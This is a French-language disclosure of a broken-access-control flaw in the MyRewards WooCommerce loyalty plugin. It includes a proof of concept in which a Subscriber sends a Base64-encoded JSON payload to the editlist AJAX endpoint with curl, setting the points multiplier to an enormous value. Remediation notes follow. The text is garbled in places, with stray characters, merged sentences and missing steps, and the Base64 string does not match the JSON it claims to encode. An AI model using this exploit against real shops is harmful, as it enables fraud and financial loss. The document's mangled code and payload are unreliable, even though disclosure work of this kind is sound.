
Autorisation manquante / Contrôle d'accès brisé dans le plugin - MyRewards – Points de fidélité et Récompenses pour WooCommerce
Avertissement : Ce dépôt est créé à des fins éducatives et de divulgation éthique uniquement. La vulnérabilité a été signalée de manière responsable au fournisseur et corrigée. N'utilisez pas ces informations pour exploiter des systèmes sans autorisation appropriée.
Une vulnérabilité critique de Contrôle d'accès brisé / Escalade de privilèges a été découverte dans le plugin MyRewards (WooRewards) pour WooCommerce (versions <= 5.6.0). Cette faille permet à tout utilisateur connecté, même ceux ayant des privilèges minimaux comme les Abonnés, de contourner l'autorisation et de modifier les règles de récompenses sensibles de la boutique.
En exploitant cette vulnérabilité, un attaquant peut gonfler le multiplicateur de points de fidélité à une valeur astronomique (par exemple, h999,999,999'), lui permettant d'accumuler des points massifs à partir d'un seul petit achat et de les échanger contre des coupons ou des produits gratuits, entraînant une perte financière directe pour la boutique.
<= 5.6.0La cause racine de cette vulnérabilité réside dans l'absence de vérifications de capacités ou de protection CSRF sur les points de terminaison AJAX critiques qui gèrent les modifications de base de données.
1. Enregistrement AJAX non autorisé :
Le plugin utilise une classe de contrôleur générique (EditlistControler) pour gérer les opérations CRUD. Dans editlistcontroler.php, il enregistre l'action AJAX editlist en utilisant le hook gwp_ajax_`, le rendant disponible à TOUS les utilisateurs connectés, quel que soit leur rôle :
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. Absence d'autorisation et de validation de nonce :
À l'intérieur des méthodes ajax() et accept(), le code traite les demandes de changement d'état (par exemple, put pour la mise à jour, del pour la suppression) uniquement sur la base de l'entrée de l'utilisateur. Il manque complètement les appels à current_user_can() et check_ajax_referer(), ce qui signifie qu'il n'y a aucune vérification si l'utilisateur a les droits manage_woocommerce.
3. Traitement dangereux de la charge utile :
Le point de terminaison accepte une chaîne JSON encodée en Base64 via le paramètre line, qui est décodée et passée directement à la méthode EventList::write()p, enregistrant les paramètres malveillants directement dans la base de données :
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
Les étapes suivantes montrent comment un Abonné authentifié peut exploiter cette faille.
subscriber.101) est séquentiel et facilement énumérable en observant les réponses POST AJAX.Nous voulons mettre à jour le multiplicateur de points de la règle ID 101 à 999,999,999,999,999.
JSON initial
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Encodé en Base64 ('valeur de line')
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
Exécutez la requête CURL suivante en tant qu'utilisateur à faibles privilèges :
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1} confirmant la mise à jour.Pour corriger ce problème, mettez à jour le plugin MyRewards vers la dernière version corrigée. Le fournisseur a résolu ce problème en :
current_user_can() dans le contrôleur AJAX pour vérifier les privilèges d'administration.check_ajax_referer() pour valider les nonces et empêcher la falsification de requête intersite (CSRF).Un bref journal du processus de divulgation pour montrer que des normes éthiques ont été respectées :